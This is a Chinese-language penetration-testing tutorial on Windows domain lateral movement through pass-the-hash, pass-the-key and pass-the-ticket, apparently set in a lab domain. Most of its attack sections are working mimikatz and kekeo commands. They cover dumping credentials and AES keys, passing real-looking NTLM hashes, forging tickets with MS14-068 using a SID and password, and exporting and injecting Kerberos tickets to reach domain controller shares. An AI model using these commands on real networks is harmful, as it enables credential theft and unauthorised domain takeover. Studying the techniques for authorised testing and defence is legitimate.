4.横向PTH&PTK&PTT哈希票据传递

0x01.前提知识

1.pth

PTH(pass the hash) #利用 lm 或 ntlm 的值进行的渗透测试

PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。

如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。对于安装补丁 kb2871997的Win 7/2008r2/8/2012 等,可以使用 AES keys代替 NT hash 来实现 ptk 攻击

总结:KB2871997 补丁后的影响

pth:没打补丁用户都可以连接,打了补丁只能 administrator 连接
ptk:打了补丁才能用户都可以连接,采用 aes256 连接

4.横向PTH&PTK&PTT哈希票据传递

2.ptk

PTK(pass the key) #利用的ekeys aes256进行的渗透测试

攻击方式同PTH,只是打了补丁后将NTML值换成aes256加密的值

3.ptt

PTT(pass the ticket) #利用的票据凭证TGT进行的渗透测试

PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。

MS14-068基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)
其中Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术

MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780

0x02.域横向移动PTH NTML传递

PTH ntlm 传递
未打补丁下的工作组及域连接

# mimikatz 命令
privilege::debug           // #提升权限
sekurlsa::logonPasswords   // #抓取密码

sekurlsa::pth /user:administrator /domain:tencent /ntlm:2baaefbdd1ee80755b986ee93a8848b2
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c
# 域内
sekurlsa::pth /user:boss /domain:tencent /ntlm:ccef208c6485269c20db2cad21734fe7

# 上面反弹回来shell 查看域控的d盘信息
dir \\WIN-83V1721VG9V.tencent.com\d$    // 连接使用ip/域名都可以

4.横向PTH&PTK&PTT哈希票据传递

0x03.域横向移动PTK aes256传递

KB2871997补丁后的工作组及域连接

# mimikatz 命令
privilege::debug           // 提升权限
sekurlsa::ekeys            // 获取aes

sekurlsa::pth /user:administrator /domain:tencent /aes256:f305f03562f81f7847f17bcf9477cce414fb47e4271763cf9078cc2566316e0f

4.横向PTH&PTK&PTT哈希票据传递

0x04.域横向移动PTT哈希票据传递-ms14068&kekeo&本地

1.MS14-068漏洞

能实现普通用户直接获取域控system权限

1.查看当前sid 
whoami/user
2.清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造(不需要system权限)
kerberos::purge                   // 清空当前机器中所有凭证或者cmd下 klist purge
kerberos::list                       // 查看当前机器凭证
kerberos::ptc 票据文件        // 将票据注入到内存中
3.利用ms14-068生成TGT数据 
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
4.票据注入内存
mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
5.查看凭证列表 
klist
6.利用  
dir \\192.168.3.21\c$

# 本质就是生成一个合法的连接请求 , 用mimikatz导入到内存中

MS14-068下载:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

2.kekeo

下载地址 : https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20210723

1.生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.导入票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
3.查看凭证 klist
4.利用net use载入
dir \\192.168.3.21\c$

3.利用本地票据(需管理权限)

这种方式是猜测当前电脑连接过域控,并且连接时长没有超过票据的过期时间(10小时 )

# mimikatz 命令
privilege::debug           // 提升权限

sekurlsa::tickets /export   // 导出本地所有票据
kerberos::ptt xxxxxxxxxx.xxxx.kirbi  // 导入票据 
dir \\192.168.3.21\c$   // 利用

0x05 开源内网神器Ladon

Ladon使用:https://github.com/k8gege/Ladon

上一篇:C# 图片识别技术(支持21种语言,提取图片中的文字)


下一篇:ms14_068域用户提权